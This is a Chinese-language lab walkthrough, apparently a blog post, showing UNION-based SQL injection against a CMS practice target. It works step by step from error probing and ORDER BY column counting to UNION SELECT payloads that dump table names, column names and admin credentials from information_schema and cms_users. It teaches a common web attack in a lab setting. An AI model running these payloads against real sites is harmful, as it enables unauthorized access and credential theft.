cms靶场联合查询漏洞练习

         通过数据库的内容会回显到页面。利用union select 语句,该语句会同时执行两条select语句,来实现跨库,跨表查询。

必要条件:

        1.两条select 语句查询结果具有相同的列数;

        2.对应的列数据类型一致。

2、目标分析:

进入cms靶场,随机进入一个新闻,发现网址结构如下所示

此时我们可以尝试去更改id 值,看页面内容是否发生改变。

结果发现页面发生了回显,暗示可能存在联合查询漏洞。

尝试判断该数据库的类型和闭合方式。

?id=32'

// near ''' at line 1;
// 中间的单引号是SQL 语句的内容;
// 32没有出现在报错信息中,说明是数字型注入。

3、SQL 注入流程

        库→表(tables)→列(columns)→数据。

        得到数据库的类型和闭合方式后。

4、判断列数:

id=32 order by 1  // 正常
id=32 order by 10 // 正常
id=32 order by 20 // 不正常
id=32 order by 16 // 不正常
id=32 order by 15 // 正常

// order by 数字 
// 通过多次尝试获取到select语句中有15列;

将所有列数进行输入,获取回显位置。

?id=-32 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15  // 第一种
?id=32 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 // 第二种

// 将第一条select 语句的查询条件置为假,

5、获取管理员账密:

获取数据库 库名称:

?id=-32 UNION SELECT 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15

获取数据库 表名称:

一次性将所有表名
?id=-32 UNION SELECT 1,2,3,4,5,6,7,8,9,10,hex(group_concat(table_name)),12,13,14,15 from information_schema.tables where table_schema=database()

// group_concat 是针对查询结果进行聚合操作的 MySQL 函数。它用于将某个列的值连接成一个字符串,并返回聚合后的结果。
// hex() 将表名以16进制的格式进行输出,因为需要类型一致,所以选择16进制进行输出
//  information_schema数据库是MySQL自带的,该数据表保存了MySQL服务器所有数据库的信息。
// where table_schema=database() --- 表示所查询的表名属于当前数据库

对回显的16进制编码进行解码。

得到该数据库下所有表名:

cms_article,
cms_category,
cms_file,
cms_friendlink,
cms_message,
cms_notice,
cms_page,
cms_users 

查看cms_users表。

获取数据库 列名称:

一次性获取该表下所有列名:
?id=-32 UNION SELECT 1,2,3,4,5,6,7,8,9,10,hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users'

对16进制编码进行解码:

获取到了username 和password

获取用户信息

?id=-32 UNION SELECT 1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15 from cms_users

// concat(str1, str2, ...)用于将多个字符串连接在一起,并返回连接后的结果。
// 0x3a 是[:] 的16进制代码。

对密码进行解码:

管理员账户:admin

管理员密码:123456

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值